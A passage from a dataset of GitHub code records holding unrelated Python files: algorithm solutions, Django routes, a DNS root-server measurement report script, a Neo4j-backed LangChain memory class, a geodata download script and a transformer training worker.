random_indexes\n","repo_name":"moead-framework/framework","sub_path":"moead_framework/core/sps_strategy/sps_random_and_boundaries.py","file_name":"sps_random_and_boundaries.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"54"} +{"seq_id":"43115560740","text":"import heapq\nclass Solution:\n def majorityElement(self, nums: List[int]) -> List[int]:\n heapq.heapify(nums)\n\n target = len(nums) // 3\n\n prev = -10000000000000000000\n\n vals = set()\n\n while nums:\n cur = heapq.heappop(nums)\n if cur == prev:\n count += 1\n else:\n count = 1\n prev = cur\n if count > target:\n vals.add(cur)\n return list(vals)\n","repo_name":"andrewhamara/Python-LC","sub_path":"229.py","file_name":"229.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39286717090","text":"from django.urls import path\nfrom .views import PostListView, PostDetailView, PostCreateView, PostUpdateView, PostDeleteView\n\nurlpatterns = [\n path('', PostListView.as_view(), name='home'),\n\n # Post handling\n path('post/new/', PostCreateView.as_view(), name='post-create'),\n path('post/detail//', PostDetailView.as_view(), name='post-detail'),\n path('post/update//', PostUpdateView.as_view(), name='post-update'),\n path('post/delete//', PostDeleteView.as_view(), name='post-delete'),\n\n]","repo_name":"NarekAlagulyan/django_new","sub_path":"todo_project/todo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23584536042","text":"import pymysql\nimport json\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport math\nimport platform\n\nwith open(\"./database.json\") as fp:\n jd = json.load(fp)\nconn = pymysql.connect(\n host = jd[\"host\"],\n port = jd[\"port\"],\n user = jd[\"user\"],\n passwd = jd[\"passwd\"],\n db = jd[\"db\"],\n charset = jd[\"charset\"],\n )\n\nsys_info = str(platform.uname()).replace(\"uname_result\", \"\").replace(\"(\", \"\").replace(\")\", \"\").replace(\"=\",\":\")\n\ndef refer_perform(performance):#根据阈值设置performance\n refer = []\n flag = []\n for i in range(0,4):\n if performance[i]<96:\n refer.append(\"< 96%\")\n flag.append(0)\n else:\n refer.append(\">= 96%\")\n flag.append(1)\n for i in range(0, 2):\n if performance[4+i*2]<250:\n refer.append(\"<= 250ms\")\n flag.append(1)\n else:\n refer.append(\"> 250ms\")\n flag.append(0)\n if performance[5+i*2]<500:\n refer.append(\"<= 500ms\")\n flag.append(1)\n else:\n refer.append(\"> 500ms\")\n flag.append(0)\n if performance[8]<70:\n refer.append(\"<= 70%\")\n flag.append(0)\n else:\n refer.append(\"> 70%\")\n flag.append(1)\n if performance[9]<65:\n refer.append(\"<= 65min\")\n flag.append(1)\n else:\n refer.append(\"> 65min\")\n flag.append(0)\n return refer,flag\n\ndef statistic_RSI():\n for RSI in 'ABCDEFGHIJKLM':\n measurements = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n ipv4_tcp = []\n ipv4_udp = []\n ipv6_tcp = []\n ipv6_udp = []\n ipv4_tcp_del = []\n ipv4_udp_del = []\n ipv6_tcp_del = []\n ipv6_udp_del = []\n publication_lantancy = []\n ipv4_tcp_timeout = 0\n ipv4_udp_timeout = 0\n ipv6_tcp_timeout = 0\n ipv6_udp_timeout = 0\n correct_num = 0\n correct_num_total = 0\n cur = conn.cursor()\n sql = \"select \" + RSI + \" from log\"\n cur.execute(sql)\n result = cur.fetchone()\n while result:\n data = json.loads(result[0])\n ipv4_tcp.append(int(data['QueryLatency']['Ipv4_tcp']))\n ipv4_udp.append(int(data['QueryLatency']['Ipv4_udp']))\n ipv6_tcp.append(int(data['QueryLatency']['Ipv6_tcp']))\n ipv6_udp.append(int(data['QueryLatency']['Ipv6_udp']))\n publication_lantancy.append(int(data['Publication_latency']))\n if int(data['Correctness']) == 0:\n result = cur.fetchone()\n continue\n if int(data['Correctness']) == 1:\n correct_num = correct_num+1\n correct_num_total = correct_num_total +1\n result = cur.fetchone()\n for i in range(0,len(ipv4_tcp)):\n if ipv4_tcp[i]>=4000:\n ipv4_tcp_timeout = ipv4_tcp_timeout+1\n ipv4_tcp_del.append(ipv4_tcp[i])\n for i in range(0,len(ipv4_udp)):\n if ipv4_udp[i]>=4000:\n ipv4_udp_timeout = ipv4_udp_timeout+1\n ipv4_udp_del.append(ipv4_udp[i])\n for i in range(0,len(ipv6_tcp)):\n if ipv6_tcp[i]>=4000:\n ipv6_tcp_timeout = ipv6_tcp_timeout+1\n ipv6_tcp_del.append(ipv6_tcp[i])\n for i in range(0,len(ipv6_udp)):\n if ipv6_udp[i]>=4000:\n ipv6_udp_timeout = ipv6_udp_timeout+1\n ipv6_udp_del.append(ipv6_udp[i])\n #移除值为-1的元素,-1代表未检测\n count = ipv4_udp.count(-1)\n for i in range(0, count):\n ipv4_udp.remove(-1)\n count = ipv4_tcp.count(-1)\n for i in range(0, count):\n ipv4_tcp.remove(-1)\n count = ipv6_udp.count(-1)\n for i in range(0, count):\n ipv6_udp.remove(-1)\n count = ipv6_tcp.count(-1)\n for i in range(0, count):\n ipv6_tcp.remove(-1)\n #移除超时元素\n for i in ipv4_tcp_del:\n ipv4_tcp.remove(i)\n for i in ipv4_udp_del:\n ipv4_udp.remove(i)\n for i in ipv6_tcp_del:\n ipv6_tcp.remove(i)\n for i in ipv6_udp_del:\n ipv6_udp.remove(i)\n count = publication_lantancy.count(-1)\n for i in range(0, count):\n publication_lantancy.remove(-1)\n if len(publication_lantancy)==0:\n publication_time = -1\n else:\n publication_lantancy.sort()\n publication_time = publication_lantancy[int(len(publication_lantancy)/2)]\n ipv4_tcp.sort()\n ipv4_udp.sort()\n ipv6_tcp.sort()\n ipv6_udp.sort()\n performance = [int(len(ipv4_udp) / (len(ipv4_udp) + ipv4_udp_timeout)*100), int(len(ipv4_tcp)/(len(ipv4_tcp)+ipv4_tcp_timeout)*100),\n int(len(ipv6_udp) / (len(ipv6_udp) + ipv6_udp_timeout)*100), int(len(ipv6_tcp) / (len(ipv6_tcp) + ipv6_tcp_timeout)*100),\n ipv4_udp[int(len(ipv4_udp) / 2)], ipv4_tcp[int(len(ipv4_tcp)/2)], ipv6_udp[int(len(ipv6_udp) / 2)], ipv6_tcp[int(len(ipv6_tcp) / 2)],\n int(correct_num/correct_num_total*100), publication_time]\n\n measurements[0] = len(ipv4_udp) + ipv4_udp_timeout\n measurements[1] = len(ipv4_tcp) + ipv4_tcp_timeout\n measurements[2] = len(ipv6_udp) + ipv6_udp_timeout\n measurements[3] = len(ipv6_tcp) + ipv6_tcp_timeout\n measurements[4] = len(ipv4_udp)\n measurements[5] = len(ipv4_tcp)\n measurements[6] = len(ipv6_udp)\n measurements[7] = len(ipv6_tcp)\n measurements[8] = correct_num_total\n measurements[9] = len(publication_lantancy)\n print(RSI+\"根ipv4_tcp可用性:\",len(ipv4_tcp)/(len(ipv4_tcp)+ipv4_tcp_timeout))\n print(RSI+\"根ipv4_tcp时延\",ipv4_tcp[int(len(ipv4_tcp)/2)])\n print(RSI+\"根ipv4_udp可用性:\", len(ipv4_udp) / (len(ipv4_udp) + ipv4_udp_timeout))\n print(RSI+\"根ipv4_udp时延\", ipv4_udp[int(len(ipv4_udp) / 2)])\n print(RSI+\"根ipv6_tcp可用性:\", len(ipv6_tcp) / (len(ipv6_tcp) + ipv6_tcp_timeout))\n print(RSI+\"根ipv6_tcp时延\", ipv6_tcp[int(len(ipv6_tcp) / 2)])\n print(RSI+\"根ipv6_udp可用性:\", len(ipv6_udp) / (len(ipv6_udp) + ipv6_udp_timeout))\n print(RSI+\"根ipv6_udp时延\", ipv6_udp[int(len(ipv6_udp) / 2)])\n print(RSI+\"根正确性:\",correct_num/correct_num_total)\n print(RSI+\"根发布时延:\", publication_time)\n\n refer , flag = refer_perform(performance)\n draw_RSI(RSI, refer, measurements , flag)\n\n\ndef draw_RSI(RSI, performance, measurements, flag):\n root = []\n metric = [\"IPv4 UDP Availability\", \"IPv4 TCP Availability\", \"IPv6 UDP Availability\", \"IPv6 TCP Availability\",\n \"IPv4 UDP Latency\", \"IPv4 TCP Latency\", \"IPv6 UDP Latency\", \"IPv6 TCP Latency\", \"Correctness\", \"Publication Latency\"]\n for i in range(0, 10):\n root.append(RSI+\"-Root\")\n data = {\n 'RSI': root,\n 'metric': metric,\n 'Performance' : performance,\n 'Measurements' : measurements,\n }\n\n df = pd.DataFrame(data)\n\n fig, ax = plt.subplots(figsize=(10, 10))\n\n ax.axis('off')\n ax.axis('tight')\n\n tb = ax.table(cellText=df.values,\n colLabels=df.columns,\n bbox=[0, 0, 1, 1],\n loc='center',\n rowLoc='center',\n cellLoc='center'\n )\n\n tb[0, 0].set_facecolor('#363636')\n tb[0, 1].set_facecolor('#363636')\n tb[0, 2].set_facecolor('#363636')\n tb[0, 3].set_facecolor('#363636')\n tb[0, 0].set_text_props(color='w')\n tb[0, 1].set_text_props(color='w')\n tb[0, 2].set_text_props(color='w')\n tb[0, 3].set_text_props(color='w')\n for i in range(0,10):\n if flag[i]:\n tb[i+1, 2].set_facecolor('#00FF00')\n else:\n tb[i + 1, 2].set_facecolor('#FF0000')\n plt.title(sys_info, fontsize='small')\n plt.savefig(\"report/\"+RSI+\"-report.png\")\n\n\ndef statistic_RSS():\n measurements = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n ipv4_udp_total = 0\n ipv4_tcp_total = 0\n ipv6_udp_total = 0\n ipv6_tcp_total = 0\n ipv4_udp_count = 0\n ipv4_tcp_count = 0\n ipv6_udp_count = 0\n ipv6_tcp_count = 0\n ipv4_udp_latency = []\n ipv4_tcp_latency = []\n ipv6_udp_latency = []\n ipv6_tcp_latency = []\n correct_num = 0\n publication_latency = []\n cur = conn.cursor()\n sql = \"select * from log\"\n cur.execute(sql)\n result = cur.fetchone()\n while result:\n ipv4_udp_k = 0\n ipv4_tcp_k = 0\n ipv6_udp_k = 0\n ipv6_tcp_k = 0\n ipv4_udp_pass = 0\n ipv4_tcp_pass = 0\n ipv6_udp_pass = 0\n ipv6_tcp_pass = 0\n ipv4_udp_min_latency = 40000\n ipv4_tcp_min_latency = 40000\n ipv6_udp_min_latency = 40000\n ipv6_tcp_min_latency = 40000\n for i in range(1,len(result)):\n data = json.loads(result[i])\n if int(data['QueryLatency']['Ipv4_udp']) != -1:\n if int(data['QueryLatency']['Ipv4_udp']) < ipv4_udp_min_latency:\n ipv4_udp_min_latency = int(data['QueryLatency']['Ipv4_udp'])\n measurements[0] = measurements[0]+1\n measurements[4] = measurements[4]+1\n ipv4_udp_k = ipv4_udp_k+1\n if int(data['QueryLatency']['Ipv4_udp']) < 4000:\n ipv4_udp_pass = ipv4_udp_pass + 1\n if int(data['QueryLatency']['Ipv4_tcp']) != -1:\n if int(data['QueryLatency']['Ipv4_tcp']) < ipv4_tcp_min_latency:\n ipv4_tcp_min_latency = int(data['QueryLatency']['Ipv4_tcp'])\n measurements[1] = measurements[1] +1\n measurements[5] = measurements[5]+1\n ipv4_tcp_k = ipv4_tcp_k+1\n if int(data['QueryLatency']['Ipv4_tcp']) < 4000:\n ipv4_tcp_pass = ipv4_tcp_pass + 1\n if int(data['QueryLatency']['Ipv6_udp']) != -1:\n if int(data['QueryLatency']['Ipv6_udp']) < ipv6_udp_min_latency:\n ipv6_udp_min_latency = int(data['QueryLatency']['Ipv6_udp'])\n measurements[2] = measurements[2] + 1\n measurements[6] = measurements[6] + 1\n ipv6_udp_k = ipv6_udp_k+1\n if int(data['QueryLatency']['Ipv6_udp']) < 4000:\n ipv6_udp_pass = ipv6_udp_pass + 1\n if int(data['QueryLatency']['Ipv6_tcp']) != -1:\n if int(data['QueryLatency']['Ipv6_tcp']) < ipv6_tcp_min_latency:\n ipv6_tcp_min_latency = int(data['QueryLatency']['Ipv6_tcp'])\n measurements[3] = measurements[3] + 1\n measurements[7] = measurements[7] + 1\n ipv6_tcp_k = ipv6_tcp_k+1\n if int(data['QueryLatency']['Ipv6_tcp']) < 4000:\n ipv6_tcp_pass = ipv6_tcp_pass + 1\n if int(data['Correctness']) != 0:\n measurements[8] = measurements[8] + 1\n if int(data['Correctness']) == 1:\n correct_num = correct_num + 1\n if int(data['Publication_latency']) != -1:\n measurements[9] = measurements[9] + 1\n publication_latency.append(int(data['Publication_latency']))\n if ipv4_udp_min_latency != 40000:\n ipv4_udp_latency.append(ipv4_udp_min_latency)\n if ipv4_tcp_min_latency != 40000:\n ipv4_tcp_latency.append(ipv4_tcp_min_latency)\n if ipv6_udp_min_latency != 40000:\n ipv6_udp_latency.append(ipv6_udp_min_latency)\n if ipv6_tcp_min_latency != 40000:\n ipv6_tcp_latency.append(ipv6_tcp_min_latency)\n ipv4_udp_K = math.ceil(2 / 3 * (ipv4_udp_k - 1))\n ipv4_tcp_K = math.ceil(2 / 3 * (ipv4_tcp_k - 1))\n ipv6_udp_K = math.ceil(2 / 3 * (ipv6_udp_k - 1))\n ipv6_tcp_K = math.ceil(2 / 3 * (ipv6_tcp_k - 1))\n ipv4_udp_total = ipv4_udp_total + ipv4_udp_K\n ipv4_tcp_total = ipv4_tcp_total + ipv4_tcp_K\n ipv6_udp_total = ipv6_udp_total + ipv6_udp_K\n ipv6_tcp_total = ipv6_tcp_total + ipv6_tcp_K\n ipv4_udp_count = ipv4_udp_count + min(ipv4_udp_pass, ipv4_udp_K)\n ipv4_tcp_count = ipv4_tcp_count + min(ipv4_tcp_pass, ipv4_tcp_K)\n ipv6_udp_count = ipv6_udp_count + min(ipv6_udp_pass, ipv6_udp_K)\n ipv6_tcp_count = ipv6_tcp_count + min(ipv6_tcp_pass, ipv6_tcp_K)\n\n result = cur.fetchone()\n ipv4_udp_latency.sort()\n ipv4_tcp_latency.sort()\n ipv6_udp_latency.sort()\n ipv6_tcp_latency.sort()\n\n print(\"RSS ipv4_udp可用性:\", ipv4_udp_count / ipv4_udp_total)\n print(\"RSS ipv4_tcp可用性:\", ipv4_tcp_count / ipv4_tcp_total)\n print(\"RSS ipv6_udp可用性:\", ipv6_udp_count / ipv6_udp_total)\n print(\"RSS ipv6_tcp可用性:\", ipv6_tcp_count / ipv6_tcp_total)\n print(\"RSS ipv4_udp时延:\", ipv4_udp_latency[int(len(ipv4_udp_latency)/2)])\n print(\"RSS ipv4_tcp时延:\", ipv4_tcp_latency[int(len(ipv4_tcp_latency)/2)])\n print(\"RSS ipv6_udp时延:\", ipv6_udp_latency[int(len(ipv6_udp_latency)/2)])\n print(\"RSS ipv6_tcp时延:\", ipv6_tcp_latency[int(len(ipv6_tcp_latency)/2)])\n print(\"RSS 正确性:\", correct_num/measurements[8])\n if measurements[9] == 0:\n print(\"RSS 发布时延:-1\")\n else:\n print(\"RSS 发布时延:\", publication_latency[int(len(publication_latency)/2)])\n if measurements[9] == 0:\n pub = -1\n else:\n pub = publication_latency[int(len(publication_latency)/2)]\n performance = [int(ipv4_udp_count / ipv4_udp_total*100), int(ipv4_tcp_count / ipv4_tcp_total*100), int(ipv6_udp_count / ipv6_udp_total*100),\n int(ipv6_tcp_count / ipv6_tcp_total*100), ipv4_udp_latency[int(len(ipv4_udp_latency)/2)], ipv4_tcp_latency[int(len(ipv4_tcp_latency)/2)],\n ipv6_udp_latency[int(len(ipv6_udp_latency)/2)], ipv6_tcp_latency[int(len(ipv6_tcp_latency)/2)], int(correct_num/measurements[8]*100),\n pub]\n flag = []\n for i in range(0, 4):\n if performance[i] < 99:\n flag.append(0)\n else:\n flag.append(1)\n for i in range(0, 2):\n if performance[4 + i*2] <=150:\n flag.append(1)\n else:\n flag.append(0)\n if performance[5 + i*2] <=300:\n flag.append(1)\n else:\n flag.append(0)\n if performance[8] < 95 :\n flag.append(0)\n else:\n flag.append(1)\n if performance[9] > 35:\n flag.append(0)\n else:\n flag.append(1)\n draw_RSS(performance, measurements, flag)\n\n\ndef draw_RSS(performance, measurements, flag):\n root = []\n metric = [\"IPv4 UDP Availability\", \"IPv4 TCP Availability\", \"IPv6 UDP Availability\", \"IPv6 TCP Availability\",\n \"IPv4 UDP Latency\", \"IPv4 TCP Latency\", \"IPv6 UDP Latency\", \"IPv6 TCP Latency\", \"Correctness\",\n \"Publication Latency\"]\n for i in range(0, 10):\n root.append(\"RSS\")\n for i in range(0, 4):\n performance[i] = str(performance[i]) + \"%\"\n for i in range(4, 8):\n performance[i] = str(performance[i]) + \"ms\"\n performance[8] = str(performance[8]) + \"%\"\n performance[9] = str(performance[9]) + \"min\"\n data = {\n 'RSI': root,\n 'metric': metric,\n 'Performance': performance,\n 'Measurements': measurements,\n }\n\n df = pd.DataFrame(data)\n\n fig, ax = plt.subplots(figsize=(10, 10))\n\n ax.axis('off')\n ax.axis('tight')\n\n tb = ax.table(cellText=df.values,\n colLabels=df.columns,\n bbox=[0, 0, 1, 1],\n loc='center',\n rowLoc='center',\n cellLoc='center'\n )\n\n tb[0, 0].set_facecolor('#363636')\n tb[0, 1].set_facecolor('#363636')\n tb[0, 2].set_facecolor('#363636')\n tb[0, 3].set_facecolor('#363636')\n tb[0, 0].set_text_props(color='w')\n tb[0, 1].set_text_props(color='w')\n tb[0, 2].set_text_props(color='w')\n tb[0, 3].set_text_props(color='w')\n for i in range(0, 10):\n if flag[i]:\n tb[i + 1, 2].set_facecolor('#00FF00')\n else:\n tb[i + 1, 2].set_facecolor('#FF0000')\n plt.title(sys_info, fontsize='small')\n plt.savefig(\"report/RSS-report.png\")\n\n\n\n","repo_name":"lxisnotlcn/DNS_root_detect_system","sub_path":"make_report.py","file_name":"make_report.py","file_ext":"py","file_size_in_byte":16296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1616820448","text":"'''\n39. 组合总和\n给定一个无重复元素的数组 candidates 和一个目标数 target ,找出 candidates 中所有可以使数字和为 target 的组合。\n\ncandidates 中的数字可以无限制重复被选取。\n\n说明:\n\n所有数字(包括 target)都是正整数。\n解集不能包含重复的组合。 \n示例 1:\n\n输入:candidates = [2,3,6,7], target = 7,\n所求解集为:\n[\n [7],\n [2,2,3]\n]\n'''\n\n\nclass Solution(object):\n ### 背包问题(可重复使用0-1背包)\n # 与零钱兑换问题相似\n def combinationSum(self, candidates, target):\n \"\"\"\n :type candidates: List[int]\n :type target: int\n :rtype: List[List[int]]\n \"\"\"\n dp = {i: [] for i in range(target + 1)}\n dp[0] = [[]]\n for c in candidates:\n for num in range(c, target + 1):\n if dp[num - c]:\n for a in dp[num - c]:\n dp[num].append(a + [c])\n return dp[target]\n\n \n\n def combinationSum(self, candidates, target):\n \"\"\"\n :type candidates: List[int]\n :type target: int\n :rtype: List[List[int]]\n \"\"\"\n dp = {i : [] for i in range(target + 1)}\n dp[0] = [[]]\n for num in candidates:\n for data in range(num, target + 1):\n if dp[data - num]:\n for a in dp[data - num]:\n dp[data].append([num] + a)\n return dp[target]\n\n\n","repo_name":"WQAQs/study-notes","sub_path":"algorithm/leetcode/39_combinationSum.py","file_name":"39_combinationSum.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"25292532647","text":"import os\nfrom dotenv import load_dotenv\nload_dotenv()\nos.environ[\"OPENAI_API_KEY\"] = os.getenv(\"OPENAI_API_KEY\")\nfrom langchain.memory import ConversationKGMemory\nfrom neo4j import GraphDatabase\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.callbacks.base import CallbackManager\nfrom langchain.callbacks.streaming_stdout import StreamingStdOutCallbackHandler\nfrom langchain.prompts.prompt import PromptTemplate\nfrom langchain.chains import ConversationChain\nfrom langchain.llms import OpenAI\nimport datetime\nllm = OpenAI(streaming=True, callback_manager=CallbackManager([StreamingStdOutCallbackHandler()]), verbose=True, temperature=0)\nfrom typing import Any, Dict, List, Union\n\nuri = os.getenv(\"NEO4J_URI\")\nuser = os.getenv(\"NEO4J_USER\")\npassword = os.getenv(\"NEO4J_PASSWORD\")\n\ndriver = GraphDatabase.driver(uri, auth=(user, password))\n\n\nclass Neo4jConversationKGMemory(ConversationKGMemory):\n driver: Any\n user_id: str\n class Config:\n arbitrary_types_allowed = True\n user_id = None\n\n def __init__(self, llm, driver, user_id):\n super().__init__(llm=llm, user_id=user_id)\n self.driver = driver\n self.user_id = user_id\n\n def _create_entity(self, tx, entity):\n query = \"MERGE (e:Entity {id: $id, name: $name, user_id: $user_id})\"\n tx.run(query, id=entity[\"id\"], name=entity[\"name\"], user_id=self.user_id)\n\n def _create_relation(self, tx, relation):\n query = \"\"\"\n MATCH (a:Entity {name: $subject_id}), (b:Entity {name: $object_id})\n MERGE (a)-[r:RELATION {id: $id, name: $name}]->(b)\n \"\"\"\n # パラメータの値を出力\n print(\"Parameters:\", {\n \"subject_id\": relation[\"subject_id\"],\n \"object_id\": relation[\"object_id\"],\n \"id\": relation[\"id\"],\n \"name\": relation[\"name\"]\n })\n # クエリを実行\n tx.run(query, subject_id=relation[\"subject_id\"], object_id=relation[\"object_id\"], id=relation[\"id\"], name=relation[\"name\"])\n\n def save_context(self, inputs, outputs):\n print(outputs)\n\n\n # Get entities and knowledge triples from the input text\n input_text = inputs[self._get_prompt_input_key(inputs)]\n entities = self.get_current_entities(input_text)\n knowledge_triplets = self.get_knowledge_triplets(input_text)\n\n with self.driver.session() as session:\n # Save entities in the knowledge graph to Neo4j\n for entity in entities:\n session.execute_write(self._create_entity, {\"id\": entity, \"name\": entity})\n # Ensure all entities in knowledge_triplets exist and create relations\n for triple in knowledge_triplets:\n # Ensure subject entity exists\n session.execute_write(self._create_entity, {\"id\": str(triple.subject), \"name\": str(triple.subject)})\n # Ensure object entity exists\n session.execute_write(self._create_entity, {\"id\": str(triple.object_), \"name\": str(triple.object_)})\n # Create relation\n session.execute_write(self._create_relation, {\n \"subject_id\": str(triple.subject),\n \"object_id\": str(triple.object_),\n \"id\": str(triple.predicate),\n \"name\": str(triple.predicate)\n })\n\n # Call the superclass's save_context method to save the context to the buffer\n super().save_context(inputs, outputs)\n\n\n def load_memory_variables(self, inputs: Dict[str, Any]) -> Dict[str, Any]:\n \"\"\"Return history buffer.\"\"\"\n entities = self._get_current_entities(inputs)\n\n summary_strings = []\n for entity in entities:\n print(\"Entity:\", entity)\n knowledge = self._get_entity_knowledge_from_neo4j(entity, self.user_id)\n\n if knowledge:\n summary = f\"On {entity}: {'. '.join(knowledge)}.\"\n summary_strings.append(summary)\n context: Union[str, List]\n if not summary_strings:\n context = [] if self.return_messages else \"\"\n elif self.return_messages:\n context = [\n self.summary_message_cls(content=text) for text in summary_strings\n ]\n else:\n context = \"\\n\".join(summary_strings)\n\n return {self.memory_key: context}\n\n def _get_entity_knowledge_from_neo4j(self, entity_name: str, user_id: str) -> List[str]:\n with self.driver.session() as session:\n result = session.execute_read(self._find_knowledge_for_entity, entity_name, user_id)\n knowledge = [record[\"knowledge\"] for record in result]\n return knowledge\n\n @staticmethod\n def _find_knowledge_for_entity(tx, entity_name, user_id):\n query = \"\"\"\n MATCH (e:Entity {name: $entity_name})-[:RELATION]->(related)\n WHERE e.user_id = $user_id\n RETURN related.name as knowledge\n \"\"\"\n result = tx.run(query, entity_name=entity_name, user_id=user_id)\n return result.data()\n\n\n\n\ntemplate = \"\"\"The following is a friendly conversation between a human and an AI. The AI is talkative and provides lots of specific details from its context. \nIf the AI does not know the answer to a question, it truthfully says it does not know. The AI ONLY uses information contained in the \"Relevant Information\" section and does not hallucinate.should be output japanese.\n\nRelevant Information:\n\n{history}\n\nConversation:\nHuman: {input}\nAI:\"\"\"\nprompt = PromptTemplate(\n input_variables=[\"history\", \"input\"], template=template\n)\nuser_id = \"2\"\nmemory=Neo4jConversationKGMemory(llm=llm, driver=driver, user_id=user_id)\nconversation_with_kg = ConversationChain(\n llm=llm,\n verbose=True,\n prompt=prompt,\n memory=memory\n)\n\n\nprint(conversation_with_kg.predict(input=\"僕の名前はのび太。\"))\nprint(conversation_with_kg.predict(input=\"ぼくの名前わかる?\"))\ndriver.close()\n","repo_name":"ttizze/BabyDORA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5954,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"54"} +{"seq_id":"7656142272","text":"import requests\nimport os\nimport py7zr\n\nurl = \"https://wxs.ign.fr/x02uy2aiwjo9bm8ce5plwqmr/telechargement/prepackage/ADMINEXPRESS-COG-CARTO_SHP_TERRITOIRES_PACK_2023-05-04$ADMIN-EXPRESS-COG-CARTO_3-2__SHP_LAMB93_FXX_2023-05-03/file/ADMIN-EXPRESS-COG-CARTO_3-2__SHP_LAMB93_FXX_2023-05-03.7z\"\n\nresponse = requests.get(url, stream = True)\n\nwith open(\"data.7z\", \"wb\") as f:\n f.write(response.content)\n\n\ndef file_size(file_name):\n file_stats = os.stat(file_name)\n return f'File Size in MegaBytes is {file_stats.st_size / (1024 * 1024)}'\n\ndef get_size(start_path = '.'):\n total_size = 0\n for dirpath, dirnames, filenames in os.walk(start_path):\n for f in filenames:\n fp = os.path.join(dirpath, f)\n # skip if it is symbolic link\n if not os.path.islink(fp):\n total_size += os.path.getsize(fp)\n\n return total_size\n\nwith py7zr.SevenZipFile('data.7z', mode='r') as z:\n z.extractall()\n\n\nfile_size(\"data.7z\")\nget_size(\"ADMIN-EXPRESS-COG-CARTO_3-2__SHP_LAMB93_FXX_2023-05-03\") / (1024 * 1024)\n\n\n\nfile_size(\"out.topojson\")\n","repo_name":"InseeFrLab/cartiflette","sub_path":"misc/mapshaper.py","file_name":"mapshaper.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"54"} +{"seq_id":"18250459792","text":"import GPUtil\nimport torch\nfrom torch import distributed as dist\nfrom torch.nn.parallel import DistributedDataParallel as DDP\n\nfrom .basic_example.dummy import DummyScheduler, DummyOptimizer\nfrom training.util.utils import LabelSmoothing, rate, SimpleLossCompute\nfrom .data_loader import create_dataloaders\nfrom .batch import Batch\nfrom .train import run_epoch, TrainingState\nfrom torch.optim.lr_scheduler import LambdaLR\n\nfrom model.transformer import Transformer\n\n\ndef train_worker(\n number_gpus_per_node,\n vocab_src,\n vocab_tgt,\n spacy_german,\n spacy_english,\n config,\n gpu=\"cpu\",\n distributed=False\n):\n print(f'training worker...')\n pad_idx = vocab_tgt[\"\"]\n model_dimension = config[\"model_dimension\"]\n model = Transformer(\n len(vocab_src),\n len(vocab_tgt),\n num_layers=6\n )\n\n module = model\n if distributed:\n dist.init_process_group(\n \"nccl\", init_method=\"env://\", rank=gpu, world_size=number_gpus_per_node\n )\n model = DDP(model, device_ids=[gpu])\n module = model.module\n is_main_process = (gpu == 0)\n\n criterion = LabelSmoothing(\n size=len(vocab_tgt), padding_idx=pad_idx, smoothing=0.1\n )\n criterion.cuda(gpu)\n\n training_dataloader, validation_dataloader, _ = create_dataloaders(\n gpu,\n vocab_src,\n vocab_tgt,\n spacy_german,\n spacy_english,\n batch_size=config[\"batch_size\"],\n max_padding=config[\"max_padding\"],\n distributed=distributed\n )\n\n optimizer = torch.optim.Adam(\n model.parameters(), lr=config[\"base_learning_rate\"], betas=(0.9,0.98), eps=1e-9\n )\n lr_scheduler = LambdaLR(\n optimizer=optimizer,\n lr_lambda=lambda step: rate(\n step, model_dimension, factor=1, warmup=config[\"warmup\"]\n ),\n )\n\n train_state = TrainingState()\n for epoch in range(config[\"num_epochs\"]):\n if distributed:\n training_dataloader.sampler.set_epoch(epoch)\n validation_dataloader.sampler.set_epoch(epoch)\n\n model.train()\n print(f\"[GPU{gpu}] Epoch {epoch} Training ====\", flush=True)\n\n _, train_state = run_epoch(\n (Batch(b[0],b[1],pad_idx) for b in training_dataloader),\n model,\n SimpleLossCompute(module.final_layer, criterion),\n optimizer,\n lr_scheduler,\n mode=\"train+log\",\n iterations_to_accumulate=config[\"iterations_to_accumulate\"],\n training_state=train_state\n )\n\n GPUtil.showUtilization()\n if is_main_process:\n file_path = \"%s%.2d.pt\" % (config[\"file_prefix\"], epoch)\n torch.save(module.state_dict(), file_path)\n torch.cuda.empty_cache()\n\n print(f\"[GPU{gpu}] Epoch {epoch} Validation ====\", flush=True)\n model.eval()\n sloss = run_epoch(\n (Batch(b[0], b[1], pad_idx) for b in validation_dataloader),\n model,\n SimpleLossCompute(module.generator, criterion),\n DummyOptimizer(),\n DummyScheduler(),\n mode=\"eval\",\n )\n print(sloss)\n torch.cuda.empty_cache()\n\n if is_main_process:\n file_path = \"%sfinal.pt\" % config[\"file_prefix\"]\n torch.save(module.state_dict(), file_path)","repo_name":"rickzhang716/transformerr","sub_path":"training/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":3326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21414141886","text":"import zipfile\nimport numpy as np\nimport pandas as pd\nimport os\n\n\"\"\"\nThis stages loads a file containing all spatial codes in France and how\nthey can be translated into each other. These are mainly IRIS, commune,\ndepartement and région.\n\"\"\"\n\ndef configure(context):\n context.stage(\"data.spatial.download_codes\")\n\n context.config(\"regions\", [])\n context.config(\"departments\", [44])\n\ndef execute(context):\n # Load IRIS registry\n\n codes_file = \"%s/%s\" % (context.path(\"data.spatial.download_codes\"), context.stage(\"data.spatial.download_codes\"))\n df_codes = pd.read_excel(codes_file,\n skiprows = 5, sheet_name = \"Emboitements_IRIS\"\n )[[\"CODE_IRIS\", \"DEPCOM\", \"DEP\", \"REG\"]].rename(columns = {\n \"CODE_IRIS\": \"iris_id\",\n \"DEPCOM\": \"commune_id\",\n \"DEP\": \"departement_id\",\n \"REG\": \"region_id\"\n })\n\n 